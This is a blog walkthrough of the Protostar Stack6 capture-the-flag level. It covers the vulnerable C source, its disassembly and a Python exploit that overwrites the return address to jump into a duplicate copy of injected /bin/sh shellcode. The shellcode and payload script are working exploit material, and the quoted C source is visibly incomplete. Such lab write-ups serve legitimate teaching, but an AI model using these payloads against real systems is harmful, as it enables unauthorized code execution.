Binary Exploitation Protostar Stack6 - Walkthrough - Using Duplicate Code Execution - writeup

Posted by Suraj Singh on April 21, 2018 · 6 mins read
Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Stack6 Level.

In this level, Our goal is to overwrite Return pointer Address And Then Use This Vulnerability To Execute Our Injected Shellcodes. Actually, We just have to prove that with this vulnerability we can exploit this software. but here comes another difficulty of this level. As Already mentioned in the hint

Stack6 looks at what happens when you have restrictions on the return address. So, In simple words, we have to exploit this level with another technique.

After Searching, Different Concepts And Techniques. I found some techniques that can bypass this level restrictions easily.
and I will also suggest you to spend few minutes in reading about these techniques.

1. Return To Libc
2. Duplicate Code Execution
3. Return To Text Execution
4. Return To Object Orient Programming

And Try To Apply all these techniques at this level.
By The way, I am going to test it all. So, Check My Blog Index for These Techniques Implementations.

Today, I am going to use Duplicate Code Execution. For More Details Use Google and Brain. Now, let's Start Our Walkthrough

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);


ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);

printf("got path %s\n", buffer);

int main(int argc, char **argv)



Stack6 looks at what happens when you have restrictions on the return address.

This level can be done in a couple of ways,
such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.

It is strongly suggested you experiment with multiple ways of getting your code to execute here.

This level is at /opt/protostar/bin/stack6

Disassembly Of Codes

0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret

Useful Tools And Idea

Because We can't use the stack to execute because of restrictions. so, we will use memory address of inserted data. .. Well,

~:# ulimit -c unlimited

and Crash App with Overflow.

Use objdump -s "core.crash.file"



import struct

daddr = 0xb7fde000 + 0x10


#shellcode = "\x90"*10+'\xcc'
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*8

eip = struct.pack("I", daddr)

shell = '\x90'*(buff-len(shellcode))+shellcode
#print len(shell)
payload = shell + eip

print payload

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Bitforestinfo YouTube Protostar CTF Playlist